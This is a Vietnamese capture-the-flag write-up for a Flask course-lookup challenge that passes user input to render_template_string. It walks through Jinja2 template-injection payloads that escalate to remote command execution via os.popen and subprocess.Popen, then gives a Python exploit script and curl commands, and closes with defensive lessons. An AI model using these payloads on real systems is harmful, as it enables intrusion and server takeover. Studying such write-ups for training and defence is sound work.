Web
Medium
200 points

Course List

Recuite 2025 - HCMUS
6 tháng 10, 2025
SSTI
Server-Side Template Injection
Jinja2
Flask
Recuite 2025 - HCMUS
Web

Course List - Write-up#

Thông Tin Challenge#

  • Danh mục: Web
  • Độ khó: Trung bình
  • Lỗ hổng: Server-Side Template Injection (SSTI)

Tổng Quan#

Challenge này là một hệ thống tra cứu môn học của trường đại học. Application sử dụng Flask's render_template_string() với input do user kiểm soát, tạo ra lỗ hổng Server-Side Template Injection (SSTI) trong Jinja2 template engine.

Lỗ Hổng: SSTI (Server-Side Template Injection)#

Phân Tích Source Code#

python
def get_source_code(course_code, course_name):
    return '''
    <!DOCTYPE html>
    ...
    <tr>
        <td>''' + course_code + '''</td>
        <td>''' + course_name + '''</td>
    </tr>
    ...
    '''

@app.route('/', methods=['GET'])
def show_course():
    course_code = request.args.get('courseCode')
    if not course_code:
        course_code = "CSC10007"
    
    try:
        course_name = courses_dictionary[str(course_code)]
    except:
        course_name = "That course does not exists."
    
    site = get_source_code(course_code, course_name)
    return render_template_string(site)  # ⚠️ Lỗ hổng!

Vấn đề:

  • Parameter course_code từ GET request được inject trực tiếp vào HTML string
  • HTML string sau đó được truyền vào render_template_string()
  • Jinja2 template engine sẽ evaluate bất kỳ template expressions nào trong string

SSTI Cơ Bản#

Phát Hiện Lỗ Hổng#

Test với các payloads phổ biến:

python
# Biểu thức toán học
{{7*7}}          # Output: 49
{{7*'7'}}        # Output: 7777777

# Python expressions
{{config}}       # Flask config object
{{self}}         # Template context

URL Encoding#

/?courseCode={{7*7}}
/?courseCode=%7B%7B7*7%7D%7D

Khai Thác#

Bước 1: Xác Nhận SSTI#

GET /?courseCode={{7*7}} HTTP/1.1
Host: target.com

Response: Hiển thị "49" trong trường course code

Bước 2: Truy Cập Python Built-ins#

Jinja2 sandboxing có thể bypass thông qua object introspection:

python
# Lấy subclasses của object class
{{''.__class__.__mro__[1].__subclasses__()}}

# Tìm các classes hữu ích (e.g., subprocess.Popen, os._wrap_close)
{{''.__class__.__mro__[1].__subclasses__()[X]}}

Bước 3: Remote Code Execution#

Payload để đọc flag:

python
# Dùng os.popen
{{''.__class__.__mro__[1].__subclasses__()[X]('cat flag.txt',shell=True,stdout=-1).communicate()}}

# Dùng eval
{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}

# Dùng open()
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']['open']('flag.txt').read()}}

Bước 4: Tìm Index Subclass Đúng#

python
# Liệt kê tất cả subclasses để tìm cái hữu ích
{% for i in range(500) %}
  {{i}}: {{''.__class__.__mro__[1].__subclasses__()[i]}}
{% endfor %}

Tìm các class:

  • subprocess.Popen (index có thể thay đổi)
  • os._wrap_close
  • warnings.catch_warnings

Exploit Hoàn Chỉnh#

Python Script#

python
import requests
import urllib.parse

url = "http://target.com/"

# Payload cho RCE
payload = """{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('cat flag.txt').read()}}"""

# URL encode
encoded_payload = urllib.parse.quote(payload)

# Gửi request
response = requests.get(f"{url}?courseCode={encoded_payload}")

# Trích xuất flag từ response
print(response.text)

Khai Thác Thủ Công#

bash
# Bước 1: Tìm index của subprocess.Popen
curl "http://target.com/?courseCode={{''.__class__.__mro__[1].__subclasses__()}}"

# Bước 2: Test RCE với lệnh 'id'
curl "http://target.com/?courseCode={{''.__class__.__mro__[1].__subclasses__()[420]('id',shell=True,stdout=-1).communicate()}}"

# Bước 3: Đọc flag
curl "http://target.com/?courseCode={{''.__class__.__mro__[1].__subclasses__()[420]('cat+flag.txt',shell=True,stdout=-1).communicate()}}"

Bài Học Rút Ra#

  1. Không bao giờ dùng render_template_string với user input
  2. Luôn dùng file template riêng với render_template()
  3. Jinja2 autoescape chỉ hoạt động với template files, không phải template strings
  4. Sanitize và validate mọi user inputs
  5. Defense in depth - nhiều lớp bảo mật
200
Points
Medium
Difficulty
Web
Category